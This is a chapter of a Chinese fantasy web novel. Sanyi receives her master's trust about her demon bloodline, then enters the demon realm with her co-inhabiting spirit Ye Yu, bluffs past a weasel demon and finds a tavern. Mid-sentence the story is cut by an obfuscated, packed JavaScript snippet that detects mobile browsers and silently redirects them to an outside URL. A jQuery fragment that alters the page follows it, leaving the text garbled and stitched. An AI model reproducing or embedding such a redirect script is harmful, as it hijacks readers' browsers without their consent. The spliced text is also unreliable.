林容微笑，半死不活地点头：“这种事，要是不经过掌门同意，就临南那小兔子胆，哪敢私自做主。”


    三一终于抬起头：“那他...”


    林容翻了翻眼珠，打断了三一的话：


    “他恨不得自己上手给姓石的再戳两刀，你觉得呢？”


    “咳咳，在小辈面前胡说什么呢。”


    金卓枫推门而入，在灵道和林容紧急对呛了几句，林容眼珠翻上去后就没再下来过。


    三一有些无措地楞了几秒，不知刚刚的话金枫卓听到了多少，回过神来才拱手行礼：“师父，你的伤势恢复得如何了。”


    金枫卓看穿了她心中所思，用法力将她隔空扶起，安抚道：


    “刚从剿鬼的队伍里回来，听见你们都在就进来了。你林容师叔的手艺你又不是不知道，活死人肉白骨，没有他治不好的伤。”


    林容又嫌弃又臭屁地把白眼翻下来，总算肯用黑眼珠见人了。


    三一听金卓枫这样说完，也心下稍宽，唇边浮出些浅淡的笑意。


    她生来性子淡薄，同龄人对她或敬或羡或厌或忌，她看得清楚，却并不在意。


    唯独金枫卓，自三一幼时起，便不厌其烦地引导她、尊重她、信任她，哪怕三一性格再冷，也从没有说她不好，更没有试图改变她。


    他对她的好，三一是记在心中的。


    行道一事，像是刻在她骨子里的行事准则——有能力，便应行正确的事。


    但传承与培养是另一回事。


    三一从来不擅长与人打交道，也不喜此事，她愿意接过宗门的担子，甚至有朝一日承担匡扶正道的责任，只是因为她知道，金枫卓在乎。


    金枫卓也看着这个他从小养大的年轻人。


    当年在山下捡到她时，只有篮子大小的一团。


    如今，三一只是单单站在这里，就已挺拔如青竹了。


    金枫卓慈蔼地看着她，眼中闪着说不清的微光，和缓道：


    “此事不必过于介怀，除妖人的内部争斗从来不比与妖鬼的摩擦少。最了解弱点的，往往都是自己人。其实早些年，这种乱子并不少。法力强大却心怀不轨，对同门操戈的除妖人屡见不鲜。


    “近年太平了，那些玩弄邪法换取权数的，大多出了国。你们年轻一辈见得少，我们这些长辈也都瞒着，偶尔遇到了也不会派你们去处理。但你是我选定的接班人，越向上走，势必会碰到这些。


    “往后的行道路，你会发现，明确的委托越来越少。现在我们还能作为前辈，为你指点迷津，但终究会有一天，你会成为那个前辈，没人能再告诉你要除何妖，斩何人。铜钱剑握在你的手中，剑尖所指由你而定。


    “你是我们青玄宗的人，是年轻一辈的大师姐，你的血脉是天赐的力量，是独属你的宝藏。行走在外，没人能因你的出身和行事置喙你半句。而对内，我和你林容师叔、临南师叔，我们都相信你能够自我控制、明辨是非，杀当杀之人。”


    若是在妖血破封之前，哪怕是听了同样的一番话，三一或许也不会有过深的感触。


    她只会一如往常地低头应是，像输入指令的机器，当成另一个待完成的任务去执行。


    但过去不到一周的时间里，她做了太多从未做的的事，也失去了太多。


    在正道多年经营，却因为妖血的存在一朝被石斐信全盘否定，曾经最敬重的一类人在生死关头背刺一刀，将她贬为了笑话。


    她最引以为傲的修为没能解决问题，反而将她送入险绝的境地，在关键时刻力挽狂澜的，却是被她弃若敝履的另一半血脉，用的还是最失控最决绝的方式。


    由坚实的过往所塑造的一切，自豪的也好，鄙夷的也罢，都被痛苦地打碎重铸。


    或许是因为与妖血的融合，又或许是这些经历本身的影响，在她自己都开始质疑自我的当下，她才终于明白了金枫卓一直以来交付给她的信任，究竟是什么份量。


    三一放在身侧的双拳紧握，十指深深扣入掌心，抵抗着涌入眼眶的热潮，状若自然地点了点头。


    心中的大石放下，三一趁林容与金枫卓斗嘴的间隙平复下来，心中又坚定了几分。


    紧接着，三一又向两人说明了此行的目的，问了些封妖大阵破封后的情况。


    金枫卓从临南师叔处了解到叶玉走后封妖大阵的情况。


    传送阵连接的大多是除妖世家所在地，那些妖鬼逃窜后，大多还能被家中小辈阻拦片刻，不至于直接流入人间。


    今日白天时，那些因为行道而赶不回来的青壮年大多也归了位。


    林容则锐评了一番，表示正道魁首元碧笙总算起了点用处，还知道紧急集结清点剩余的战力，沿着昨日的传送阵挨个扫荡过去。


    金卓枫笑着听林容吐槽完，下了总结。


    力量不强的妖鬼大多都被控制住了，但还有些大妖大鬼不知所踪，譬如昨日和叶玉交手过的晚红。


    元碧笙他们也先后派了两批弟子去妖界打听情况，据传回的消息说，这次行动妖鬼倾巢而出，后方同样薄弱。


    如果三一要去妖界探查身世与功法，眼下正是最合适的时机。


    林容忙着照顾伤员，甚至要给其他世家伤势较重的伤员配药，金枫卓也是暂时休息一番，明日还要继续清查逃窜的妖鬼。


    各自都有要事，了解过情况，三一便告了辞。


    凭着良好的记忆力，她在后山半废墟的住处中找到了那块缝着功法的襁褓。


    据狐九郎生前所言，襁褓中绣的是下半部分，上半部分被毁了，只有狐九郎一人知晓。


    但三一不会信他的一面之词，狐九郎不会不懂狡兔三窟的道理，哪怕真的被毁，他也应该会想办法再存下一份。


    大阵已破，两族的通道门路大开，原本的阵石化作传送石，踏入传送石三丈内便会被传入妖界。


    元碧笙派了人马划出一个界限，守在通道口，以防残余的妖鬼借此道传送过来，为祸人间。


    金枫卓给了三一文牒，又提前和守卫打了招呼，午夜将至，正是换班的时候，百妖塔下人来人往，她行走其间并不显得突兀。


    上次去到妖界，初来乍到，离场也颇为狼狈。


    这次，三一单刀赴会。


    她从储物戒中取出妖灵丸服下，像上次行动前一样，熟练地反向运作功力，伪装出妖鬼的气息，屏息凝神，踏入传送阵中。


    一阵远距离传送常有的头晕目眩后，铺天盖地的飓风裹挟着黄沙卷来。


    还未迈步，一只三叉戟顶在了她的背上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122493|195527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，一个黄鼠狼般尖细的嗓音飘忽地响起。


    “你是哪里来的小妖，不知道这一带已经被封锁了吗？”


    三一举起双手，示意自己的无害，同时立即叫醒了还在梦中逍遥自在的叶玉：“醒醒，到妖界了。”


    若说撒泼装相，三一不是不能学，但有更擅长的人在，为什么不合作呢？


    她缓缓转身的功夫，叶玉也清醒过来，浮到意识层，和三一共同操控起身体。


    叶玉还没睡饱，怎么会有什么好心情，起床气腾腾往上冒，杀意顿起。


    她看着那不怀好意的黄鼠狼妖，呲牙道：


    “老娘是狐族的，长老派我来办急事！你又是哪来的小妖，敢挡你姑奶奶的道，不要命了是吧！”


    三一围观着叶玉的大戏，帮忙给她搭戏台，法力疯狂运转，威压不要命地往外泼，还真有那么几分要紧事被耽搁了的气势来。


    护身的灵器微微亮起，三一在暗中发力，将那抵在腰腹的三叉戟荡开。


    这么一套丝滑小连招下来，黄鼠狼妖眼珠油滑地转起圈来。


    它鬼精地将三叉戟脱了手，顺势被扫倒在地，连忙从皮毛里掏出两颗沾血的妖丹，捧到叶玉面前，一改前态，做低伏小道：


    “大人息怒，老祖宗的事可不敢耽误，您瞧我这新挖来的妖丹如何，就当是一点小心意......”


    叶玉先前听狐九郎提起族中长老的口吻，就猜测这种可以预测族民未来的老妖地位不会低，特意狐假狐威试探，果然试出了一二。


    但这妖丹...


    叶玉一把将黄鼠狼妖的妖爪打开，两枚妖丹滚落在黄沙里，错眼就消失了踪迹：“拿着次品糊弄你姑奶奶？赶紧给我滚。”


    这两枚妖丹一看就是在低阶小妖身上挖的，这黄鼠狼妖是拿这试探她的身份尊卑，任务真假！


    若是真的收了，保不准要被这贼眉鼠眼的家伙怎么想办法坑。


    果然，听叶玉这么说，那黄鼠狼立即卷着尾巴跑了，面上毫无对那两枚白白被丢的妖丹的可惜。


    叶玉拍拍手道：“还挺识相，居然不贪。”


    三一提醒道：“我刚刚在地上感觉到了妖术波动，他应当是使了个障眼法，将那妖丹卷走了。”


    叶玉撇嘴，她现在完全无法使用妖力，对法力又不熟悉，哪怕和三一共感，也没反应过来那是妖术。


    三一在原地站了片刻，没感应到有跟踪的气息，也没有其他妖鬼前来，不知黄鼠狼妖所言的封锁一事究竟是真是假。


    现下要紧的是打探狐族的聚集地。


    三一循着记忆走到千妖情会的举办地附近，虽然没有举办聚会，但这里仍有些小型的集市，还有些散落、不成气候的商铺。


    随后，叶玉又挑了家卖妖鬼修炼用品的铺子，随便买了什么，打听到此处有家酒楼，平日里大妖云集。


    一路打听，熟悉了附近的路线，三一左绕右绕，终于走到了酒楼下。


    仰头，招牌不出意外的带着干涸的血渍，倒是很符合当地粗狂的民风。


    三一仔细辨别半天，很难从招牌中辨识出文化残留的痕迹。


    俩人合力头脑风暴了一番，才从这狗爬的风格中分辨出字意：


    “发...财...酒楼。”